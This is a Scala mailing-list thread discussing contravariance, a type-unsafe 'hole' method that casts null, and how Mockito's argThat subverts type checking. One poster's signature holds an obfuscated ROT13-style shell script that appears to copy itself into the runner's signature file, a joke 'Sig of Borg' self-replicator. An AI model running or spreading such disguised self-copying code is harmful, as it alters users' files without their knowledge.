Not sure if it is a bug.
> Given the following definitions:
> trait AbstractFunctor[-T]
> case class Functor[T](t: T) extends AbstractFunctor[T]
> def hole[T](f: =>AbstractFunctor[T]): T = null.asInstanceOf[T]
scala> val x = Functor(1)
x: Functor[Int] = Functor(1)
scala> hole[Int with AbstractFunctor[Any]](x)
res1: Int with AbstractFunctor[Any] = 0
scala> hole[Int with AbstractFunctor[Any]](x): AbstractFunctor[Any]
res2: AbstractFunctor[Any] = null
With invariance:
scala> hole[Int with AbstractFunctor[Any]](x): AbstractFunctor[Any]
<console>:13: error: type mismatch;
found : Functor[Int]
required: AbstractFunctor[Int with AbstractFunctor[Any]]
Note: Int >: Int with AbstractFunctor[Any], but trait AbstractFunctor
is invariant in type T.
You may wish to define T as -T instead. (SLS 4.5)
hole[Int with AbstractFunctor[Any]](x): AbstractFunctor[Any]
^
So, is "Int with AbstractFunctor[Any]" is a supertype of Int? If so,
then not bug. If not, then bug. :-)
--
Daniel C. Sobral
I travel to the future all the time.
No, you're just lying to the compiler by casting null
to an uninhabited type.
Let's look at hole[String](Functor(1))
This typechecks if the argument is an AbstractFunctor[U]
for some type U that is a subtype of String. "Int with String"
is such a type, which is also a subtype of Int. But since
AbstractFunctor is contravariant, Functor(1) as an
AbstractFunctor[Int] is also an AbstractFunctor[Int with String]
so that hole[Int with String](Functor(1)) typechecks, and
since methods are covariant in their return type,
hole[String](Functor(1)) typechecks, too. QED.
Maybe I should open an enhancement request to rename
.asInstanceOf[X] to .iCanFormallyProveThisIsReallyAnInstanceOf[X].
- Florian.
--
#!/bin/sh -
set - `type -p $0` 'tr [a-m][n-z]RUXJAKBOZ [n-z][a-m]EH$W/@OBM' fu XUBZRA.fvt\
angher echo;while [ "$5" != "" ];do shift;done;$4 "gbhpu $3;fraqznvy sKunef.q\
r<$3&&frq -a -rc "`$4 "$0"|$1`">$3;rpub 'Jr ner Svt bs Obet.'"|$1|`$4 $2|$1`
That's not the same, thats *completely* different. Option is
covariant in T, and you can get a T out of it.
How would you do that with a Foo[-T]?
> I'd actually be happy to get rid of that method signature but I get it from
> a Mockito method which allows to use matchers as parameters for method
> calls, instead of using regular parameters. And in specs2, matchers are
> contravariant for a good reason.
You probably should get rid of it, as it is a lie. The
signature with a Foo[-T] basically says: Give me an object
that has a method that takes an argument of any concievable
type T, and I will pull an object of type T out of thin air.
This can only be implemented if you always return an object
that has a type that is a subtype of any other type. i.E. Nothing,
which is uninhabited. So all "valid" implementations of the
signature must be isomorphic to either
while (true) {}
or
throw new Exception("Impossible")
> What's really worrisome and just popped up a few days ago, is the fact that
> using the "hole" (argThat more precisely) method as an implicit punches a
> huge hole in the typechecking of user programs.
Are you sure that argThat doesn't perform any casts, like, by
calling that method:
public <T> T returnNull() {
return null;
}
> Lots of expressions which
> wouldn't typecheck are now being compiled ok.
If I read the code correctly, subverting the type system is the
whole point of argThat. If you import an implicit that says
that converting everything to null is better than a type error
and then get an NPE, you've got nobody to blame but the author
of the implicit. But you might recover some saftey by bounding
the return type from below:
scala> class Foo
defined class Foo
scala> class Bar extends Foo
defined class Bar
scala> def hole1[T](f: =>AbstractFunctor[T]): T = null.asInstanceOf[T]
hole1: [T](f: => AbstractFunctor[T])T
scala> val i: Bar = hole1(Functor(new Foo))
i: Bar = null
scala> val i: Foo = hole1(Functor(new Bar))
i: Foo = null
scala> def hole2[T,U<:T](f: =>AbstractFunctor[U]): T = null.asInstanceOf[T]
hole2: [T,U <: T](f: => AbstractFunctor[U])T
scala> val i: Foo = hole1(Functor(new Bar))
i: Foo = null
scala> val i: Bar = hole2(Functor(new Foo))
<console>:11: error: type mismatch;
found : Foo
required: Bar
val i: Bar = hole2(Functor(new Foo))
^
Of course, you still get nulls if the implicit matches, but that
seems to be on purpose.